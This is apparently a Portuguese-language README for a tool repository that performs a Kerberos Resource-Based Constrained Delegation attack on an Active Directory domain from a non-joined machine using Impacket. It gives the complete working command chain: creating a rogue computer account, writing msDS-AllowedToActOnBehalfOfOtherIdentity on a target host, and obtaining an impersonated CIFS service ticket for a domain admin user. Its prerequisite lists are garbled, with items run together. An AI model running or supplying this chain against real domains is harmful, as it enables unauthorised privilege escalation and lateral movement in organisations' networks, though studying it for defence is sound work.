
Ataque de Delegação Restrita Baseada em Recursos do Kerberos a partir de fora usando Impacket
Este repositório é sobre um ataque prático contra a Delegação Restrita Baseada em Recursos do Kerberos em um Domínio Active Directory do Windows.
A diferença de outras implementações comuns é que estamos lançando o ataque de fora do Domínio Windows, não de um computador associado ao domínio (geralmente Windows).
O ataque é implementado usando apenas Python3 Impacket (e suas dependências). Testado no Arch com Impacket atualizado (0.9.21 no momento da escrita).

Em resumo, sem muitos detalhes profundos, o ataque tem como alvo um computador do domínio, exatamente os principais de serviço relacionados ao computador de destino do domínio.
O que precisamos aqui como pré-requisitos:
msDS-AllowedToActOnBehalfOfOtherIdentity do objeto de computador alvo do domínio)MachineAccountQuota)O caminho do ataque em um nível muito alto:
msDS-AllowedToActOnBehalfOfOtherIdentity do alvoBenefício:
Os conjuntos de ferramentas comuns para este ataque operam em um computador Windows associado ao domínio usando:
abusar da msDS-AllowedToActOnBehalfOfOtherIdentityEsta implementação usa o Impacket puro de fora do Domínio.
Usando o exemplo addcomputer.py do Impacket, vamos criar um computador falso (chamado evilcomputer):
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
Implementado o script rbcd.py encontrado aqui no repositório, que adiciona o descritor de segurança relacionado do EVILCOMPUTER recém-criado à propriedade msDS-AllowedToActOnBehalfOfOtherIdentity do computador alvo.
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
O script usa fortemente as classes Python no exemplo ntlmrelayx.py do Impacket. Para ajuda e um exemplo, chame o script sem opções.
Agora tudo está pronto para abusar da Delegação Restrita por meio de uma consulta S4U2Self e obter um Ticket de Serviço impersonado para o computador alvo. Com o script de exemplo getST.py do Impacket:
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
O comando acima busca um Ticket de Serviço CIFS em nome do usuário de domínio alvo admin e o armazena no arquivo admin.ccache.
Após adicionar o caminho do arquivo à variável KRB5CCNAME, o ticket fica utilizável para clientes Kerberos.
export KRB5CCNAME=`pwd`/admin.ccache
klist
Para detalhes sobre abusar da Delegação Restrita Baseada em Recursos:
E uma das apresentações mais abrangentes sobre Ataques Kerberos: